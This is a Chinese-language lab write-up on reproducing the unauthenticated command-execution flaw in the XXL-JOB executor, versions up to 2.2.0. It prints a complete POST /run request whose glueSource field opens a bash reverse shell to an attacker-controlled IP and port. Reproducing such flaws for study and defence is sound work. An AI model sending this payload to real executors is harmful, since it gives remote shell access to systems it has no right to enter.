XXL-JOB executor 未授權訪問漏洞
阿新 • • 發佈:2022-05-18
XXL-JOB是一個分散式任務排程平臺,其核心設計目標是開發迅速、學習簡單、輕量級、易擴充套件。現已開放原始碼並接入多家公司線上產品線,開箱即用。XXL-JOB分為admin和executor兩端,前者為後臺管理頁面,後者是任務執行的客戶端。executor預設沒有配置認證,未授權的攻擊者可以通過RESTful API執行任意命令。
參考連結:
- https://mp.weixin.qq.com/s/jzXIVrEl0vbjZxI4xlUm-g
- https://landgrey.me/blog/18/
- https://github.com/OneSourceCat/XxlJob-Hessian-RCE
漏洞影響
XXL-JOB <= 2.2.0
環境搭建
執行如下命令啟動2.2.0版本的XXL-JOB:
docker-compose up -d
環境啟動後,訪問http://your-ip:9999
可以檢視到客戶端(executor)。
漏洞復現
訪問XXL-JOB存在漏洞版本的客戶端(executor),利用burpsuite傳送如下payload:
POST /run HTTP/1.1 Host: your-ip:9999 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 396 { "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_SHELL", "glueSource": "/bin/bash -i >& /dev/tcp/192.168.10.129/5555 0>&1", "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0 }
開啟監聽後,即可反彈回shell